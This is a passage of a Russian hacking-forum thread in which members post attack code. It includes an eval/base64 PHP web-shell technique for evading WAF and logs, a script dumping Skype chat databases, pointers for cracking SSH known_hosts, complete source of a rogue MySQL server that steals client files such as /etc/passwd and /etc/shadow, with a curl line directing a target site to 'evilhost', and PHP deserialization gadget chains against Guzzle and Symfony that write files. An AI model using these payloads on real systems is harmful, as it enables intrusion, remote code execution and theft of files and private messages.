Старый 02.05.2015, 14:44   #101
omen666
 
Регистрация: 06.09.2014
Сообщений: 64
Репутация: 9
По умолчанию

Цитата:
Сообщение от Enigma Посмотреть сообщение
В третьем сообщении темы ошибка:


$_COOKIE[ev2] будет просто строкой '$_FILES["upload_file"]["tmp_name"]', плюс если mq==on кавычки будут экранированы...

Думаю надо поправить код, например так:
PHP код:
ev=move_uploaded_file($_FILES[upload_file][tmp_name],$_COOKIE[ev2]);
ev2=/tmp/phpJ5d4Nb 
И конструкции типа $_GET[a] идут в error_log:
Код:
[Sun Oct 13 00:13:37 2013] [error] [client 127.0.0.1] PHP Notice:  Use of undefined constant a - assumed 'a' in /srv/http/test.php on line 2, referer: http://localhost/
Решается это использованием например base64_decode() перед eval(), можно сразу писать код без лишних переменных, а также не возникнет проблем с WAF.

P.S. Я бы написал автору, но он полгода не заходил, а тем временем того кто пытается делать так как там написано ждёт разочарование.
Что тут имеется ввиду, как-то так: eval(base64_decode($_GET[c])); ? Если да, то Вы ошибаетесь! Это пишется в лог PHP, даже если написать это дело нормально с кавычкой $_GET['c'], а в нее уже пхать другие конструкции типа $_GET[a], закодированные в base64, то они все-равно попадут в error_log.
__________________
Анонимный интернет без ограничений https://multi-vpn.biz

Последний раз редактировалось omen666; 02.05.2015 в 15:09..
omen666 вне форума   Ответить с цитированием
Старый 17.07.2015, 13:49   #102
tex
 
Регистрация: 26.12.2010
Сообщений: 135
Репутация: 41
По умолчанию

Понадобилось как-то базу скайпа распарсить, ни одна читалка из гугла не помогла

PHP код:
#!/bin/bash

if [ "$#" -eq 0 ]
    
then
        
echo $0 main.db
        
exit
    
fi
dbfile
=$1

skype
=$(sqlite3 ./$dbfile "select skypename from Accounts limit 1")
mkdir $skype;
echo 
"Account: $skype"

sqlite3 ./$dbfile "select writefile('$skype/avatar.jpg',substr(avatar_image,2)) from Accounts limit 1" >/dev/null
count
=$(sqlite3 ./$dbfile "select count(distinct dialog_partner) from chats")
echo 
"Contacts: $count"

names=$(sqlite3 ./$dbfile "select distinct dialog_partner from chats")

for 
a in $names
    
do
        echo 
'<pre>' > ./$skype/$a.html
        chats
=$(sqlite3 ./$dbfile "select name from chats where dialog_partner='$a'")
        for 
b in $chats
            
do
                
IFS=$'\n'
                
for c in $( sqlite3 -separator ':' ./$dbfile "select '<b>[</b><i>'||datetime(timestamp, 'unixepoch')||'</i><b>]</b>  <b><font color='||case when '$skype'=author then 'blue' else 'black' end||'>'||author||'</font></b>','  '||body_xml from messages where chatname='$b' ")
                    do
                        echo 
$c >> ./$skype/$a.html
                    done
                
echo '<hr>' >> ./$skype/$a.html
            done
    done 
tex вне форума   Ответить с цитированием
Старый 03.11.2015, 14:35   #103
SynQ
 
Регистрация: 11.07.2010
Сообщений: 937
Репутация: 350
По умолчанию

Цитата:
Сообщение от tex Посмотреть сообщение
Позволю себе оффтоп: хорошие люди придумали даже скрипт для брутфорса хостов из known_hosts http://blog.rootshell.be/2010/11/03/...n_hosts-files/ xD
Помимо перлового брута, known_hosts можно брутить с помощью hashcat на CPU и GPU:
http://up1ink.tumblr.com/post/132370...wnhostshashcat
SynQ вне форума   Ответить с цитированием
Старый 16.11.2015, 22:16   #104
crlf
 
Аватар для crlf
 
Регистрация: 29.09.2015
Сообщений: 88
Репутация: 13
По умолчанию

Для случаев когда есть возможность инициировать MySQL соединение на подконтрольный хост.

Можно читать локальные файлы клиента. LOAD DATA LOCAL должен поддерживаться клиентом и быть включен.

Презентация
Видео доклада
Фейковый MySQL

Код:
> service mysql stop
> python rogue_mysql_server.py
> curl http://site.com/script?host=evilhost&user=hacker&password=p@55w0rD&database=hack
> cat mysql.log
Код:
#!/usr/bin/env python
#coding: utf8


import socket
import asyncore
import asynchat
import struct
import random
import logging
import logging.handlers



PORT = 3306

log = logging.getLogger(__name__)

log.setLevel(logging.DEBUG)
tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')
tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))
log.addHandler(
    tmp_format
)

filelist = (
#    r'c:\boot.ini',
    r'c:\windows\win.ini',
#    r'c:\windows\system32\drivers\etc\hosts',
#    '/etc/passwd',
#    '/etc/shadow',
)


#================================================
#=======No need to change after this lines=======
#================================================

__author__ = 'Gifts'

def daemonize():
    import os, warnings
    if os.name != 'posix':
        warnings.warn('Cant create daemon on non-posix system')
        return

    if os.fork(): os._exit(0)
    os.setsid()
    if os.fork(): os._exit(0)
    os.umask(0o022)
    null=os.open('/dev/null', os.O_RDWR)
    for i in xrange(3):
        try:
            os.dup2(null, i)
        except OSError as e:
            if e.errno != 9: raise
    os.close(null)


class LastPacket(Exception):
    pass


class OutOfOrder(Exception):
    pass


class mysql_packet(object):
    packet_header = struct.Struct('<Hbb')
    packet_header_long = struct.Struct('<Hbbb')
    def __init__(self, packet_type, payload):
        if isinstance(packet_type, mysql_packet):
            self.packet_num = packet_type.packet_num + 1
        else:
            self.packet_num = packet_type
        self.payload = payload

    def __str__(self):
        payload_len = len(self.payload)
        if payload_len < 65536:
            header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num)
        else:
            header = mysql_packet.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)

        result = "{0}{1}".format(
            header,
            self.payload
        )
        return result

    def __repr__(self):
        return repr(str(self))

    @staticmethod
    def parse(raw_data):
        packet_num = ord(raw_data[0])
        payload = raw_data[1:]

        return mysql_packet(packet_num, payload)


class http_request_handler(asynchat.async_chat):

    def __init__(self, addr):
        asynchat.async_chat.__init__(self, sock=addr[0])
        self.addr = addr[1]
        self.ibuffer = []
        self.set_terminator(3)
        self.state = 'LEN'
        self.sub_state = 'Auth'
        self.logined = False
        self.push(
            mysql_packet(
                0,
                "".join((
                    '\x0a',  # Protocol
                    '3.0.0-Evil_Mysql_Server' + '\0',  # Version
                    #'5.1.66-0+squeeze1' + '\0',
                    '\x36\x00\x00\x00',  # Thread ID
                    'evilsalt' + '\0',  # Salt
                    '\xdf\xf7',  # Capabilities
                    '\x08',  # Collation
                    '\x02\x00',  # Server Status
                    '\0' * 13,  # Unknown
                    'evil2222' + '\0',
                ))
            )
        )

        self.order = 1
        self.states = ['LOGIN', 'CAPS', 'ANY']

    def push(self, data):
        log.debug('Pushed: %r', data)
        data = str(data)
        asynchat.async_chat.push(self, data)

    def collect_incoming_data(self, data):
        log.debug('Data recved: %r', data)
        self.ibuffer.append(data)

    def found_terminator(self):
        data = "".join(self.ibuffer)
        self.ibuffer = []

        if self.state == 'LEN':
            len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1
            if len_bytes < 65536:
                self.set_terminator(len_bytes)
                self.state = 'Data'
            else:
                self.state = 'MoreLength'
        elif self.state == 'MoreLength':
            if data[0] != '\0':
                self.push(None)
                self.close_when_done()
            else:
                self.state = 'Data'
        elif self.state == 'Data':
            packet = mysql_packet.parse(data)
            try:
                if self.order != packet.packet_num:
                    raise OutOfOrder()
                else:
                    # Fix ?
                    self.order = packet.packet_num + 2
                if packet.packet_num == 0:
                    if packet.payload[0] == '\x03':
                        log.info('Query')

                        filename = random.choice(filelist)
                        PACKET = mysql_packet(
                            packet,
                            '\xFB{0}'.format(filename)
                        )
                        self.set_terminator(3)
                        self.state = 'LEN'
                        self.sub_state = 'File'
                        self.push(PACKET)
                    elif packet.payload[0] == '\x1b':
                        log.info('SelectDB')
                        self.push(mysql_packet(
                            packet,
                            '\xfe\x00\x00\x02\x00'
                        ))
                        raise LastPacket()
                    elif packet.payload[0] in '\x02':
                        self.push(mysql_packet(
                            packet, '\0\0\0\x02\0\0\0'
                        ))
                        raise LastPacket()
                    elif packet.payload == '\x00\x01':
                        self.push(None)
                        self.close_when_done()
                    else:
                        raise ValueError()
                else:
                    if self.sub_state == 'File':
                        log.info('-- result')
                        log.info('Result: %r', data)

                        if len(data) == 1:
                            self.push(
                                mysql_packet(packet, '\0\0\0\x02\0\0\0')
                            )
                            raise LastPacket()
                        else:
                            self.set_terminator(3)
                            self.state = 'LEN'
                            self.order = packet.packet_num + 1

                    elif self.sub_state == 'Auth':
                        self.push(mysql_packet(
                            packet, '\0\0\0\x02\0\0\0'
                        ))
                        raise LastPacket()
                    else:
                        log.info('-- else')
                        raise ValueError('Unknown packet')
            except LastPacket:
                log.info('Last packet')
                self.state = 'LEN'
                self.sub_state = None
                self.order = 0
                self.set_terminator(3)
            except OutOfOrder:
                log.warning('Out of order')
                self.push(None)
                self.close_when_done()
        else:
            log.error('Unknown state')
            self.push('None')
            self.close_when_done()


class mysql_listener(asyncore.dispatcher):
    def __init__(self, sock=None):
        asyncore.dispatcher.__init__(self, sock)

        if not sock:
            self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
            self.set_reuse_addr()
            try:
                self.bind(('', PORT))
            except socket.error:
                exit()

            self.listen(5)

    def handle_accept(self):
        pair = self.accept()

        if pair is not None:
            log.info('Conn from: %r', pair[1])
            tmp = http_request_handler(pair)


z = mysql_listener()
daemonize()
asyncore.loop()


P.S. Особая благодарность Лаврушкину за наводку и авторам за крутой PoC.



--

Последний раз редактировалось crlf; 16.11.2015 в 22:42..
crlf на форуме   Ответить с цитированием
Старый 15.05.2017, 13:48   #105
crlf
 
Аватар для crlf
 
Регистрация: 29.09.2015
Сообщений: 88
Репутация: 13
По умолчанию

GuzzleHttp POP chain
PHP код:
<?php
namespace GuzzleHttp\Cookie;

class 
CookieJar{
  private 
$cookies = [];
   
  function 
__construct(){
     
$this->cookies[] = new SetCookie;
   }
}
class 
FileCookieJar extends CookieJar{
  private 
$filename '/tmp/hello';
  private 
$storeSessionCookies true;
}
class 
SetCookie{
  private 
$data;
   
  public function 
__construct(array $data = []){
  
$this->data['Name'] = 'hi';
   }
}

echo 
urlencode(serialize(new FileCookieJar));
?>
Работает на последней версии 6.2.2.
crlf на форуме   Ответить с цитированием
Старый 05.12.2017, 14:02   #106
crlf
 
Аватар для crlf
 
Регистрация: 29.09.2015
Сообщений: 88
Репутация: 13
По умолчанию

Symfony Framework 2.3.42 >= 2.8.32 (latest of 2.x now) __destruct POP chain

PHP код:
<?php

namespace Symfony\Component\Templating\Storage{
    class 
StringStorage{
          protected 
$template '<?php die("m4k3 rd07 c4k3 4g41n!") ?>';
    }
    
    
$s = new StringStorage;
}

namespace 
Symfony\Component\Templating{
    class 
TemplateNameParser{}
    class 
TemplateReference{}
    class 
PhpEngine{
        protected 
$parser;
        protected 
$cache;
        protected 
$current;
        protected 
$globals = array();
        public function 
__construct($s){
            
$this->parser = new TemplateNameParser;
            
$this->current = new TemplateReference;
            
$this->cache = array(NULL=>$s);
        }
    }
    
    
$p = new PhpEngine($s);
}

namespace 
Symfony\Component\Finder\Expression{
    class 
Expression{
        private 
$value;
        public function 
__construct($p){
            
$this->value $p;
        }
    }

    
$e = new Expression($p);
}

//namespace Symfony\Component\Process\Pipes{        // > 2.5
namespace Symfony\Component\Process{
//    class WindowsPipes{                                // > 2.5
    
class ProcessPipes{
        private 
$files = array();
        public function 
__construct($e){
            
$this->files = array($e);
        }    
    }


//echo urlencode(serialize(new WindowsPipes($e)));    // > 2.5
echo urlencode(serialize(new ProcessPipes($e)));
}

?>
crlf на форуме   Ответить с цитированием
Ответ

Опции темы
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2017, Jelsoft Enterprises Ltd. Перевод: zCarot